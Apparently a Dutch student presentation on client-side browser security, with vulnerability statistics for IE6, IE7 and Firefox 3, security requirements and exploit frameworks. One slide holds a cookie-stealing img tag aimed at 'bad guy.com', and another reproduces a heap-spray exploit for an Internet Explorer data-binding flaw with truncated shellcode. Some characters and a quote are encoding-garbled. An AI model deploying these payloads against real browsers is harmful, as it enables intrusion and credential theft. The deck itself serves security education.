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Onderzoeksvraag:

ÅWat is de stand van zaken ten aanzien van client-side browser security van aanvallen op afstand?

Deelvragen:

ÅAan welke veiligheidseisen moet een browser voldoen om client-side security te waarborgen?

ÅWordt aan deze veiligheidseisen voldaan?

ÅWat zijn de gevolgen wanneer de browser niet goed is beveiligd?

ÅHoe eenvoudig wordt in de praktijk misbruik gemaakt van kwetsbaarheden?
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Internet Explorer 7  

ÅMarktaandeel van 48% Ą dalend

ÅOktober 2007 uitgebracht

Å70 kwetsbaarheden

Å9 % Extreem kwetsbaar

Å36% Zeer

Å9% Gemiddeld

Å36% Systeem toegang

Å16% Blootstellen van vertrouwelijke gegevens

Å27% niet gepatchedĄ 11% gemiddeld
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άLŦ ȅƻǳ Ŏŀƴϥǘ ƳŀƪŜ ƛǘ ƎƻƻŘΣ ŀǘ ƭŜŀǎǘ ƳŀƪŜ 
ƛǘ ƭƻƻƪ ƎƻƻŘ ά      --Bill Gates
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Internet Explorer 6  

ÅMarktaandeel van 21% Ą dalend

ÅSeptember 2001 uitgebracht

Å142 kwetsbaarheden (vanaf 2003)

Å13% Extreem kwetsbaar

Å37% Zeer

Å17% Gemiddeld

Å38% Systeem toegang

Å14% Blootstellen van vertrouwelijke gegevens

Å18% Niet gepatchedĄ 18% gemiddeld
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Firefox 3  

ÅMarktaandeel van 18% Ą stijgend

ÅJuni 2008 uitgebracht

Å39 kwetsbaarheden

Å0% Extreem kwetsbaar

Å75% Zeer

Å0% Gemiddeld

Å30% Systeem toegang

Å20% Blootstellen van vertrouwelijke gegevens

ÅAlles gepatcht

Firefox, the browser you can trust!
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Client-sideassets

Browser data
Weergegeven data zelf, sessie informatie,

Browsing geschiedenis, website wachtwoorden etc.

System data
Persoonlijke documenten, e-mail berichten, 
Wachtwoorden etc.

Network data
Intranet websites, all kinds of servers, web cams, 
Routers etc.
Niet transport data zoals HTTPS verkeer. Dit is 
Client-server security.
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Site sandboxing

ÅVoorkomen dat websites toegang hebben tot elkaars informatie

<img src="http://bad guy.com/steal.php?cookie=" + cookie />

Securitycompartimenten/sandboxing

ÅBrowser afschermen van het OS

ÅRechten op het systeem beperken 

ÅVerschillende processen
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Weren van kwaadaardige scripts

ÅScripts aan/uit

ÅBlack/white lists

ÅWaarschuwen gebruikers

Update control 

ÅAutomatisch updaten

Plug-in control 

ÅAutomatisch updaten

ÅOverzicht

ÅNiet te verbergen

ÅInformatie versturen? Vraag gebruiker.

ÅCode signing

ÅLeast priveleges
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User awareness 

ÅGebruiker moet op de hoogte zijn van de gevaren zonder extra complexiteit.
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Mogelijkheden voor aanvallers:

ÅZero day exploits

ÅZero day kwetsbaarheden

ÅNon-Zero day exploits

ÅNon-Zero day kwetsbaarheden

ÅOnbekende kwetsbaarheden

ÅPlug-ins
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Verspreiding:

ÅAdvertenties

ÅContent manipuleren

ÅWebserver hacken

ÅSPAM 
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<html>

<div id="replace">x</div>

<script>

//CMD=calc.exe

var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%.......");

// ugly heap spray, the d0nkey way!

// works most of the time

var spray = unescape("%u0a0a%u0a0a");

do { spray += spray;} while(spray.length < 0xd0000);

memory = new Array();

for(i = 0; i < 100; i++)   memory[i] = spray + shellcode;

xmlcode = "<XML ID=I>

<X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X>

</XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>

</SPAN></SPAN>";

tag = document.getElementById("replace");

tag.innerHTML = xmlcode;

</script>

</html>
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Internet Explorer Data Binding Memory Corruption Vulnerability
ÅOnline: 10 Dec 2008
ÅPatch beschikbaar: 17 Dec 2008
ÅWindows update: 2 Jan 2009
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Automatische payload generatie:
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Exploitframeworks

ÅGratis te verkrijgen

ÅKant en klare exploits

ÅBrowser_autopwn module

ÅAutomatische payload generatie

ÅTools om het schrijven van exploits makkelijker te maken
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ÅGeen browser beschikbaar die aan alle eisen voldoet

ÅElke browser is kwetsbaar

ÅGeen vertrouwde applicatie meer

ÅMakkelijk en door vrijwel iedereen te exploiten

ÅExtra maatregelen nodig om de browser te beveiligen
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